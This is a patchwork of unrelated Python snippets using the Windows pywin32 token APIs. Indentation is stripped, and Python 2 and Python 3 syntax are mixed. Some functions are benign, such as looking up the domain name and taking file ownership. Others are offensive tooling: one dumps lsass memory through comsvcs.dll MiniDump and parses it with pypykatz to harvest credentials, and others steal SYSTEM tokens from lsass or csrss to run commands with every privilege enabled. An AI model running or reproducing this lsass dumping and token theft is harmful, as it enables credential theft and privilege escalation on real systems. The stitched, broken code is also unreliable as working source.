def impersonate_system():
with enable_privileges(win32security.SE_DEBUG_NAME):
pid_csr = ntdll.CsrGetProcessId()
hprocess_csr = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
False, pid_csr)
htoken_csr = win32security.OpenProcessToken(hprocess_csr,
win32con.TOKEN_DUPLICATE)
htoken = win32security.DuplicateTokenEx(
htoken_csr, win32security.SecurityImpersonation, win32con.TOKEN_QUERY
| win32con.TOKEN_IMPERSONATE | win32con.TOKEN_ADJUST_PRIVILEGES,
win32security.TokenImpersonation)
enable_token_privileges(htoken, win32security.SE_TCB_NAME,
win32security.SE_INCREASE_QUOTA_NAME,
win32security.SE_ASSIGNPRIMARYTOKEN_NAME)
try:
htoken_prev = win32security.OpenThreadToken(
win32api.GetCurrentThread(), win32con.TOKEN_IMPERSONATE, True)
except pywintypes.error as e:
if e.winerror != winerror.ERROR_NO_TOKEN:
raise
htoken_prev = None
win32security.SetThreadToken(None, htoken)
try:
yield
finally:
win32security.SetThreadToken(None, htoken_prev)
def open_effective_token(access, open_as_self=True):
hthread = win32api.GetCurrentThread()
impersonated_self = False
try:
htoken = win32security.OpenThreadToken(hthread, access, open_as_self)
except pywintypes.error as e:
if e.winerror != winerror.ERROR_NO_TOKEN:
raise
win32security.ImpersonateSelf(win32security.SecurityImpersonation)
impersonated_self = True
htoken = win32security.OpenThreadToken(hthread, access, open_as_self)
try:
yield htoken
finally:
if impersonated_self:
win32security.SetThreadToken(None, None)
def getDomainInfo():
try:
token = win32security.OpenThreadToken(win32api.GetCurrentThread(),
ntsecuritycon.TOKEN_QUERY, 1)
except win32api.error, exc:
if exc[0] != winerror.ERROR_NO_TOKEN:
raise
token = win32security.OpenProcessToken(win32api.GetCurrentProcess(),
ntsecuritycon.TOKEN_QUERY)
def GetDomainName():
try:
tok = win32security.OpenThreadToken(win32api.GetCurrentThread(),
TOKEN_QUERY, 1)
except win32api.error, details:
if details[0] != winerror.ERROR_NO_TOKEN:
raise
# attempt to open the process token, since no thread token
# exists
tok = win32security.OpenProcessToken(win32api.GetCurrentProcess(),
TOKEN_QUERY)
def take_ownership(path: str, owner=None, force: bool = True) -> bool:
"""
Set owner on NTFS & ReFS files / directories, see
https://stackoverflow.com/a/61009508/2635443
:param path: (str) path
:param owner: (PySID) object that represents the security identifier.
If not set, current security identifier will be used
:param force: (bool) Shall we force take ownership
:return:
"""
try:
hToken = win32security.OpenThreadToken(
win32api.GetCurrentThread(), win32security.TOKEN_ALL_ACCESS, True
)
except win32security.error:
hToken = win32security.OpenProcessToken(
win32api.GetCurrentProcess(), win32security.TOKEN_ALL_ACCESS
)
if owner is None:
owner = win32security.GetTokenInformation(hToken, win32security.TokenOwner)
prev_state = ()
if force:
new_state = [
(
win32security.LookupPrivilegeValue(None, name),
win32security.SE_PRIVILEGE_ENABLED,
)
for name in (
win32security.SE_TAKE_OWNERSHIP_NAME,
win32security.SE_RESTORE_NAME,
)
]
prev_state = win32security.AdjustTokenPrivileges(hToken, False, new_state)
try:
sec_descriptor = win32security.SECURITY_DESCRIPTOR()
sec_descriptor.SetSecurityDescriptorOwner(owner, False)
win32security.SetFileSecurity(
path, win32security.OWNER_SECURITY_INFORMATION, sec_descriptor
)
except pywintypes.error as exc:
# Let's raise OSError so we don't need to import pywintypes in parent module to catch the exception
raise OSError("Cannot take ownership of file: {0}. {1}.".format(path, exc))
finally:
if prev_state:
win32security.AdjustTokenPrivileges(hToken, False, prev_state)
return True
def GetDomainName():
try:
tok = win32security.OpenThreadToken(win32api.GetCurrentThread(),
TOKEN_QUERY, 1)
except win32api.error as details:
if details[0] != winerror.ERROR_NO_TOKEN:
raise
# attempt to open the process token, since no thread token
# exists
tok = win32security.OpenProcessToken(win32api.GetCurrentProcess(),
TOKEN_QUERY)
sid, attr = win32security.GetTokenInformation(tok, TokenUser)
win32api.CloseHandle(tok)
name, dom, typ = win32security.LookupAccountSid(None, sid)
return dom
def get_tth(self):
if not self.tth:
import sys
import pywintypes
try:
self.tth = win32security.OpenThreadToken(self.get_th(), win32con.MAXIMUM_ALLOWED, True)
except pywintypes.error as e:
#print sys.exc_info()[0]
#print "xxx"
#print "[E] %s: %s" % (e[1], e[2])
pass
# try:
# self.tth = win32security.OpenThreadToken(self.get_th(), win32con.TOKEN_READ, True)
# except:
# try:
# self.tth = win32security.OpenThreadToken(self.get_th(), win32con.TOKEN_QUERY, True)
#print "OpenthreadToken with TOKEN_QUERY: Failed"
# except:
# pass
# print "[D] TTH: %s" % self.tth
return self.tth
def run(self, profile):
if profile.get('lsa_secrets'):
return profile['lsa_secrets']
try:
hToken = win32security.OpenThreadToken(
win32api.GetCurrentThread(), win32security.TOKEN_ALL_ACCESS,
True)
except win32security.error:
hToken = win32security.OpenProcessToken(
win32api.GetCurrentProcess(), win32security.TOKEN_ALL_ACCESS)
prev_state = ()
new_state = [
(win32security.LookupPrivilegeValue(None,
win32security.SE_DEBUG_NAME),
win32security.SE_PRIVILEGE_ENABLED)
]
prev_state = win32security.AdjustTokenPrivileges(
hToken, False, new_state)
lsass_file = tempfile.mktemp('.dmp',
dir=os.getenv('SystemDrive', 'C:') + '\\')
try:
lsass_pid = 0
for me in psutil.process_iter():
try:
if me.exe().lower() == r'c:\windows\system32\lsass.exe':
lsass_pid = me.pid
except:
pass
if lsass_pid:
try:
with disable_fsr():
subprocess.Popen([
'rundll32.exe',
r'C:\Windows\System32\comsvcs.dll,', 'MiniDump',
str(lsass_pid), lsass_file, 'full'
],
stdin=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdout=subprocess.PIPE,
universal_newlines=True,
shell=True).communicate()
except:
lsass_pid = 0
if not lsass_pid:
lsass_file = 'C:\\lsassproc.dmp'
assert os.path.isfile(lsass_file)
finally:
if prev_state:
win32security.AdjustTokenPrivileges(hToken, False, prev_state)
results = {}
try:
results = pypykatz.parse_minidump_file(lsass_file)
results.reader.reader.file_handle.close()
results = results.to_dict()
os.remove(lsass_file)
except Exception as e:
pass
return results
def remote_authorize(self, data):
err, sec_buffer = self.mServer.authorize(data)
if err == 0:
# Get the handle for the authenticated user such that we can pass it
# to win32security.DuplicateTokenEx() and get back a handle that
# allows us to spawn interactive processes as the authenticated user.
self.mServer.ctxt.ImpersonateSecurityContext()
flags = win32security.TOKEN_DUPLICATE | win32security.TOKEN_QUERY
handle = win32security.OpenThreadToken(win32api.GetCurrentThread(),
flags, False)
self.mServer.ctxt.RevertSecurityContext()
# Using handle, reate a primary handle suitable for passing to
# CreateProcessAsUser().
sec_attr = None
# sec_attr = pywintypes.SECURITY_ATTRIBUTES()
# sec_attr.Initialize()
# sec_attr.bInheritHandle = True
# Try different impersonation levels for DuplicateTokenEx(). These
# should be in order of decreasing utility (most useful to least).
# See the SECURITY_IMPERSONATION_LEVEL documentation for more
# details.
levels = [
win32security.SecurityDelegation,
win32security.SecurityImpersonation
]
primary_handle = None
#access = win32security.TOKEN_ALL_ACCESS
#access = win32con.MAXIMUM_ALLOWED
access = win32security.TOKEN_IMPERSONATE | \
win32security.TOKEN_QUERY | \
win32security.TOKEN_ASSIGN_PRIMARY | \
win32security.TOKEN_DUPLICATE
for l in levels:
try:
primary_handle = \
win32security.DuplicateTokenEx(
ExistingToken = handle,
DesiredAccess = access,
ImpersonationLevel = l,
TokenType = ntsecuritycon.TokenPrimary,
TokenAttributes = sec_attr
)
break
except Exception, ex:
self.mLogger.error(
"Failed to create primary token with impersonation level %s:"
% str(l))
self.mLogger.error(str(ex))
# If the above failed to create a primary token, then we throw an
# exception. It is important that we do not return None from this
# method.
if primary_handle is None:
msg = 'Failed to create primary token for user!'
self.mLogger.error(msg)
raise failure.Failure(error.UnauthorizedLogin(msg))
# acct_info[0] has the SID for the user.
acct_info = win32security.GetTokenInformation(
primary_handle, win32security.TokenUser)
user_sid = acct_info[0]
# This returns a tuple containing the user name, the domain (if
# applicable), and the accouunt type.
# NOTE: The returned strings may be Unicode strings.
user_info = win32security.LookupAccountSid(None, user_sid)
# Close the handle returned by win32security.OpenThreadToken() since
# it is a duplicate.
handle.Close()
# NOTE: We are forcing the addition of user_sid to the window station
# and desktop ACLs. This seems to be the only way for the user
# authenticated through SSPI to be able to open interactive windows.
return self.prepareAvatar(
avatar.WindowsAvatar(primary_handle,
user_sid, str(user_info[0]),
str(user_info[1]), True))
def run_as_system(command): # pylint: disable=too-many-locals
currentProcess = win32api.OpenProcess(win32con.MAXIMUM_ALLOWED, False, os.getpid())
currentProcessToken = win32security.OpenProcessToken(currentProcess, win32con.MAXIMUM_ALLOWED)
duplicatedCurrentProcessToken = win32security.DuplicateTokenEx(
ExistingToken=currentProcessToken,
DesiredAccess=win32con.MAXIMUM_ALLOWED,
ImpersonationLevel=win32security.SecurityImpersonation,
TokenType=ntsecuritycon.TokenImpersonation,
TokenAttributes=None
)
_id = win32security.LookupPrivilegeValue(None, win32security.SE_DEBUG_NAME)
newprivs = [(_id, win32security.SE_PRIVILEGE_ENABLED)]
win32security.AdjustTokenPrivileges(duplicatedCurrentProcessToken, False, newprivs)
win32security.SetThreadToken(win32api.GetCurrentThread(), duplicatedCurrentProcessToken)
currentProcessToken = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.MAXIMUM_ALLOWED, False)
sessionId = win32security.GetTokenInformation(currentProcessToken, ntsecuritycon.TokenSessionId)
pid = None
for proc in psutil.process_iter():
try:
if proc.name() == "lsass.exe":
pid = proc.pid
break
except psutil.AccessDenied:
pass
if not pid:
raise RuntimeError("Failed to get pid of lsass.exe")
lsassProcess = win32api.OpenProcess(win32con.MAXIMUM_ALLOWED, False, pid)
lsassProcessToken = win32security.OpenProcessToken(
lsassProcess,
win32con.MAXIMUM_ALLOWED
)
systemToken = win32security.DuplicateTokenEx(
ExistingToken=lsassProcessToken,
DesiredAccess=win32con.MAXIMUM_ALLOWED,
ImpersonationLevel=win32security.SecurityImpersonation,
TokenType=ntsecuritycon.TokenImpersonation,
TokenAttributes=None
)
privs = win32security.GetTokenInformation(systemToken, ntsecuritycon.TokenPrivileges)
newprivs = []
# enable all privileges
for privtuple in privs:
newprivs.append((privtuple[0], win32security.SE_PRIVILEGE_ENABLED))
privs = tuple(newprivs)
win32security.AdjustTokenPrivileges(systemToken, False, newprivs)
win32security.SetThreadToken(win32api.GetCurrentThread(), systemToken)
hToken = win32security.DuplicateTokenEx(
ExistingToken=lsassProcessToken,
DesiredAccess=win32con.MAXIMUM_ALLOWED,
ImpersonationLevel=win32security.SecurityImpersonation,
TokenType=ntsecuritycon.TokenPrimary,
TokenAttributes=None
)
win32security.SetTokenInformation(hToken, ntsecuritycon.TokenSessionId, sessionId)
privs = win32security.GetTokenInformation(hToken, ntsecuritycon.TokenPrivileges)
newprivs = []
# enable all privileges
for privtuple in privs:
newprivs.append((privtuple[0], win32security.SE_PRIVILEGE_ENABLED))
privs = tuple(newprivs)
win32security.AdjustTokenPrivileges(hToken, False, newprivs)
si = win32process.STARTUPINFO()
dwCreationFlags = win32con.CREATE_NEW_CONSOLE
win32process.CreateProcessAsUser(hToken, None, command, None, None, 1, dwCreationFlags, None, None, si)